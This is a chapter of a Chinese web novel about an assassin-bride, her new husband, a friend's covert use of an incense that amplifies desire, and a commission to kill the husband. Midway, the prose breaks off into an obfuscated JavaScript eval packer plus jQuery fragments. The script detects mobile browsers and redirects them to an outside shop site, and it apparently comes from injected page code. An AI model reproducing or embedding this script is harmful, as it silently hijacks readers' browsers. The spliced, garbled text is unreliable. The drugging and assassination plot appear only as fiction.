前半夜淅淅沥沥下了雨,斜斜冲刷在墙壁上,抽枝的嫩芽上还缀着墩墩露珠。
晨光初露,檀茯没有晚起的习惯,刚一动身,滑嫩肌肤触感清晰传来。
一只手臂有力环着她的腰,她被人以一种及其霸道的姿势抱着。
腰侧抓握后留下的酸痛与平日不同,但檀茯对这种训练运动过后的感觉已经习惯,况且昨夜并不激烈。
身上痕迹很淡,清理过后的清爽,檀茯很快就适应了,她手臂稍抬,谁知身边人敏感至极,眉头蹙紧睁开了眼。
傅六朝带着些被吵醒的朦胧,两人相视无言。
檀茯趁机披上衣物下塌,倒了杯茶水润嗓。
檀茯除了些许不适,动作还算正常,还贴心给傅六朝也端了杯。
茶叶清香四溢,檀茯见傅六朝已经坐起身,神色不似平常,带着些看不懂的意味。
床幔半遮床榻红意。
他抬眼又垂眸,来来回回看了好几眼,脸侧还有不慎碰上的红痕,活像昨夜吃亏的是他。
檀茯眨眨眼沉默,她也不知现下场景是否正常。
兵刃刀甲、毒药虫蛊,各种刺杀手段她无所不知,揣测他人心理她确实不太擅长。
她端着瓷杯走近,才刚开口:“夫君——”
傅六朝却一把接过饮完,也没让人服侍他穿衣,匆匆夺门而出。
颇有些慌乱意味。
绿弥和晚晴一直候在门口,屋内响动明显,傅六朝前脚离开,她们马上进门。
房内气息混杂,各种味道掺和在一起,着实算不上好闻。
晚晴推开窗,雨后凉风裹着青草泥土气息灌入。
绿弥脸上愤愤,帮檀茯梳妆换衣,大婚次日须回将军府拜谒长辈、宗祠。
她遮着檀茯脖颈上的痕迹,虽不愿也还是改口:“管事王叔已经安排好了马车,上府薄礼也筹备妥当,晚晴检查过,没有问题,是按照礼制来的。”
檀茯点头,晚晴过目不忘,入耳即记,在探听消息从无错漏,她说没问题就是没问题。
檀茯从妆盒里拿出傅六朝所赠玉佩挂在腰间,定亲之物,以显重视。
晚晴和绿弥随她从云闲阁一同出阁,玉娘也细细叮嘱了一些必要流程。
绿弥声音并无收敛,嘟囔道:“高门大户规矩就是多。”
晚晴立刻阻止:“慎言。”
傅府新宅,将军与傅六朝关系虽不好,却也借着名头往府里送了很多下人,隔墙有耳。
绿弥冷哼,一道嗓音忽然直直加入她们对话。
“为何梳妆?”
傅六朝不知何时进入卧房,衣装已经换好,立身侧站在灯台旁,忽然提问。
房内人皆一惊,绿弥晚晴连忙行礼,不知道他听到了多少。
铜镜映着檀茯面庞,妆容清雅端庄,让人挑不出错,她疑惑看着傅六朝,他并未换上新婚服饰,反而一身浅紫交襟锦袍。
“今日须回府拜谒的。”她提醒道。
傅六朝才好似想起来,轻嗤:“不去,你也不许去。”
檀茯发髻还未挽好,她绕过屏风在傅六朝面前站定,抬头直望着他。
“夫君?”
玉佩随动作摇晃,抢人视线,傅六朝眸光微动,才慢慢回望,重复道:“今日不去。”
他仿佛想到什么好玩的,恶劣开口:“后日去。”
后日是新婚第三日,习俗是女方回门。
绿弥悄悄拉了拉晚晴的手,似乎想说点什么。
晚晴眼神警告。
檀茯很快地接受了这个提议,情报流言无误,将军父子关系不好,但与她无关。
她清楚自己的定位,与傅六朝是同一条战线,全权以他为主,檀茯伸手帮他整理衣襟。
“听夫君的。”
眉眼柔柔,百依百顺的模样。
檀茯垂首,露出的脖颈如白玉般莹润却又晃眼,傅六朝唇边笑意淡淡。
“季安有约,出湖游玩,我已经同管家交代了,你要是愿管,府上事宜皆由你做主,你若不愿,便交由管家打理。”
檀茯无有不应,笑意明媚踮脚环抱住他:“谢夫君,夫君路上小心。”
房门合上,绿弥便冷兮兮开口:“男人都喜欢这种。”
“好了,不要说了。”晚晴从窗檐上取下一片被浅紫染过的杏叶,青丝绕着叶梗。
窗台鸟翅扑闪,是玉娘传来的消息,有新暗单,还是指明要清昭公子。
“谁啊?不知道规矩么。”绿弥又开口,她这几日分外话多,还带刺。
“去看看。”檀茯脸上表情褪下,换了身上本要去拜见长辈的绯红袖袍。
既然能找到云闲阁,还能让玉娘传信,必然是有些东西在身上的,去看看也无妨。
“你们两个留在这里打掩护。”
“是。”她们两齐声回答。
雨天绵连,今日天气也不算太好,小雨嘀嗒,落在湖面打下涟漪,如珠玉落盘。
岸边风吹绿草,画舫系在木桩边停靠,丝竹之音混着雨水奏乐。
傅六朝撩开锦帘,船内装饰非常符合季安的风格,繁冗复杂,音乐声戛然而止。
“都下去吧。”季安激动地坐起身,拍拍身旁,打开折扇遮住自己过度兴奋而表情扭曲的脸,“傅兄!”
舫内果香酒香四溢,还混着花粉香。
傅六朝推开船窗,舟身摇晃,他顺势倚在紫木塌上,支着头。
季安今日只约了傅六朝,他猜准了他不会按规矩回府,果然被他猜中了。
季安搬着他的锦垫坐在傅六朝塌下,眼睛巴巴:“傅兄,新婚之夜,有何感想?”
傅六朝阖上眼睫,没答。
季安也没恼,看着他脸侧未消红痕笑眯了眼,手上折扇晃啊晃。
“傅兄不说我也知,红烛缭绕,香气逼人……”
傅六朝蓦然睁开眼睛,面无表情看着他。
大婚筹备事物他都一一掌眼,前厅主宴安排了香烛,但傅六朝入眠一向不爱过浓的气息,正房便撤下了香烛换成了普通红烛。
他经常同季安一起,这些季安也是知道的。
那么红烛缭绕,香气逼人。
傅六朝面无表情时格外严肃,狭长的眼睛眯着,一动不动看着季安。
审视气息扑面而来。
“……”季安折扇顿在半空,自觉自己说漏了话,讪讪笑起。
傅六朝还是未动。
季安
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037395|194630||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
认输,倔着脖子开口:“傅兄我没干什么,只是丢了一颗暮香球而已,安神。”
在昨日闹洞房时,他趁乱往室内掷了一颗暮香球助兴。
暮香球不是催情香,它遇热会逐渐融化,散发出缕缕香气,很淡,扰人心智,会放大内心欲望和想法,但没有催情香霸道强烈。
季安哼哼,他可不觉得有错,要是心里没有欲念,这东西可派不上用场。
青楼助兴用品,傅六朝当然不了解,季安继续胡扯:“我近日看傅兄劳碌,可心疼坏了,忙上忙下,怎么会使坏呢。”
“苍天可鉴啊傅兄!”他这可不是使坏。
“最好是真的。”季安一张嘴胡说八道,傅六朝也问不出什么,暮香球三个字在他舌尖滚了滚。
檀茯从后门悄悄步行出府,素色长袍,男士装扮,纸伞倾斜遮住脸庞,在匆匆赶路的人中并不显眼。
石阶青苔在雨水浇灌下更为嫩绿。
傅府离云闲阁有段距离,玉娘撑着伞一直候在侧门眺望。
“玉娘。”檀茯收起纸伞,递到她手上,“来了吗?”
“也才刚到,已经带上五层了。”玉娘抖落伞面雨珠,跟在她身旁,“他有恩牌。”
檀茯脚下一滞:“什么?”
“是恩牌。”玉娘确定道。
恩牌相当于云闲阁的特殊令牌,只有两枚,并且都已经被上一任阁主赠予出去。
持此牌者,可以对云闲阁提出指定要求,上一枚已经收回,这是第二枚。
五层雅间,宽阔厚重的屏风被挪到正中间,完全隔绝了屋内视线。
地上软毯被换成了羊绒,除了门开支呀声,寂静一片。
但屋内人精准地察觉到来人,声音浑厚低沉:“清昭公子。”
檀茯静站在瓷瓶旁,抚摸着瓶口,话语利落直接:“嗯,你有恩牌?”
话语刚落,一块小巧但又沉重的东西越过屏风高抛过来,对面人似乎并不在意这个,倒像是对她有点好奇。
他忽然开口:“用这块牌子,能见清昭公子一面吗?”
手中陈铁厚重,檀茯眼都没抬,淡淡道:“否。”
恩牌虽可以提出要求,但不能涉及到云闲阁秘密,阁主身份暴露,危险极大。
对面人仿佛随口一提,被拒绝了也没有很失望,他扣扣桌面,声音厚重沙哑:“那请清昭公子帮我杀个人吧。”
话语礼貌,与内容反差感很重。
“说。”
“镇国将军傅恒之子,傅六朝。”
檀茯慢了半拍,精致眉头难得微微皱起,眼神一凝,仿佛想透过屏风看到对面的样貌。
许是她太久没回话,那人喊了她一声,语气反问。
“不行?清昭公子也做不到?”
檀茯没有马上回应。
这个是任务不错,但上两个任务也还未完成,虽然没了傅六朝还有其他方法接近任务目标。
但都没有这个身份便捷可以同时接近两位,光明正大,减少暴露风险。
况且,檀茯脑袋里突然冒出来绿弥在她耳边念叨的一句话。
赔了夫人又折兵。
檀茯沉默半晌,终于开口。
“缘由。”